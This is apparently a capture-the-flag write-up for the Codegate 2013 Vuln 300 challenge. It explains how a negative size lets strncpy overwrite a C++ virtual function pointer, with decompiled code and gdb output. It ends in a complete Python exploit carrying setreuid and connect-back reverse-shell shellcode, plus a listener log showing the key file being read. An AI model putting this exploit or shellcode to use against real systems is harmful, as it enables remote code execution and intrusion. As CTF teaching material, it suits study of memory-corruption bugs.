code hacking, zen coding

Codegate 2013 Quals – Vuln 300 Write-up

This binary asks for a number and a string and outputs it. While playing with value, we notice a negative number for the number will crash the program.

$ nc 58.229.122.22 6666
Input Num : 32
Input Msg : TOTO
Reply :
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`TOTO

$ nc 58.229.122.22 6666
Input Num : 2048
Input Msg : TOTO
Reply :
TOTO

$ nc 58.229.122.22 6666
Input Num : -1
Input Msg : TOTO

The reverse engineered main part of the program is as follow:

– We create a new objet myClass
– Set the virtual function pointer for the do_reply function.
– Get inputs from user
– Copy user data to myClass
– Call myClass->do_reply

int __cdecl handler()
{
  int myClass; // ebx@1
  int size; // ST10_4@1

  myClass = operator new();
  set_do_reply_ptr(myClass);
  printf("Input Num : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  size = atoi(buffer);
  memset(buffer, 0, 2048u);
  printf("Input Msg : ");
  fflush(stdout);
  sleep(2u);
  fgets(buffer, 2048, stdin);
  fflush(stdout);
  do_copy(myClass, buffer, size);
  (**(void (__cdecl ***)(_DWORD))myClass)(myClass);
  return 0;
}

The copy function is below. What we want is trick strncpy in overwriting the first 4 bytes of myClass which contains the virtual function pointers to do_reply.

char *__cdecl do_copy(int dest, const char *src, signed int size)
{
  char *result; // eax@5

  if ( size > 2047 )
  {
    result = strcpy((char *)(dest + 4), src);
  }
  else
  {
    for ( i = 0; (size ^ (size >> 31)) - (size >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + size), src, 2048 - ((size ^ (size >> 31)) - (size >> 31)));
  }
  return result;
}

If we use size = -4:

    for ( i = 0; (-4 ^ (-4 >> 31)) - (-4 >> 31) > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));

-4 = b1111111111111111111111111111111111111111111111111111111111111100
-4 >> 31 = -1 = b1111111111111111111111111111111111111111111111111111111111111111

-4 ^ -1 = 3

So we can simplify the function as follow:

    for ( i = 0; (-4 ^ -1) - -1 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));

And even more:

    for ( i = 0; 4 > i; ++i )
      *(_BYTE *)(dest + i + 4) = i + 65;
    result = strncpy((char *)(dest), src, 2044);

strncpy will overwrite the beginning of myClass, bingo, we can control the virtual function pointer.

Let’s check this with a debugger:

gdb$ run
Input Num : -4
Input Msg : ABCD
--------------------------------------------------------------------------[regs]
  EAX: 0x080491E0  EBX: 0x0804A008  ECX: 0x0804A00C  EDX: 0x0804A008  o d I t s z A P c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF698  ESP: 0xBFFFF68C  EIP: 0x080488D5
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488d5: call   0x80485a8 <strncpy@plt>
   0x80488da: jmp    0x80488f1
   0x80488dc: mov    eax,DWORD PTR [ebp+0x8]
   0x80488df: lea    edx,[eax+0x4]
   0x80488e2: mov    eax,DWORD PTR [ebp+0xc]
   0x80488e5: mov    DWORD PTR [esp+0x4],eax
   0x80488e9: mov    DWORD PTR [esp],edx
   0x80488ec: call   0x80485f8 <strcpy@plt>
--------------------------------------------------------------------------------

Breakpoint 1, 0x080488d5 in ?? ()
gdb$ x/4x $esp
0xbffff68c: 0x0804a008  0x080491e0  0x000007fc  0xbffff6b8

Our calculations are correct, destination will be start of myClass.

Let’s take a deeper look on how a virtual function call happends:

(**(void (__cdecl ***)(_DWORD))myClass)(myClass);

This translate in assembly to:

.text:08048825                 mov     eax, [ebp+var_C] ; myClass
.text:08048828                 mov     eax, [eax]       ; virtual function pointer offset
.text:0804882A                 mov     edx, [eax]       ; virtual function offset
.text:0804882C                 mov     eax, [ebp+var_C]
.text:0804882F                 mov     [esp], eax
.text:08048832                 call    edx              ; call virtual function

Lets check again with a debugger using -4 for size:

gdb$ run
Input Num : -4
Input Msg : ABCD

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x44434241  EBX: 0x0804A008  ECX: 0x000007F6  EDX: 0x000007F6  o d I t S z a p c
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF6B8  ESP: 0xBFFFF6A0  EIP: 0x0804882A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804882a: mov    edx,DWORD PTR [eax]
   0x804882c: mov    eax,DWORD PTR [ebp-0xc]
   0x804882f: mov    DWORD PTR [esp],eax
   0x8048832: call   edx
   0x8048834: mov    eax,0x0
   0x8048839: add    esp,0x14
   0x804883c: pop    ebx
   0x804883d: pop    ebp
--------------------------------------------------------------------------------
0x0804882a in ?? ()

Bingo. ‘ABCD’ (0x44434241) was written to the virtual function pointer.

Now it’s only a matter of filling this buffer with a shellcode and jumping to it:

[A][B][SHELLCODE]

A will be the offset of B
B will be the offset of SHELLCODE

Since the binary is suid but is dropping privileges, we need to setreuid() to restore the suid user and access the key file.

import telnetlib
from struct import pack, unpack

# setreuid(geteuid())
shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80"
# connectback port 45295
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
    "\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68"
shellcode += chr(1) + chr(2) + chr(3) + chr(4) # your IP
shellcode += "\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

host = '58.229.122.22'
port = 6666

tn = telnetlib.Telnet(host, port)

tn.read_until("Input Num : ")
tn.write("-4\n")
tn.read_until("Input Msg : ")

buffer =  pack('<I', 0x080491E0 + 4) # virtual function pointer offset
buffer += pack('<I', 0x080491E0 + 8) # virtual function offset
buffer += shellcode
buffer += "\n"

print repr(buffer)

s = tn.get_socket()
s.send(buffer)

data = True
while data:
    data = s.recv(1024)
    if data:
        print data

Result:

$ nc -v -l -p 45295
id
uid=502(S74R) gid=501(star) groups=502(S74R),501(star)
pwd
/
cd /home/S74R
cat key
Victoria Secret show they miss me ;)
Share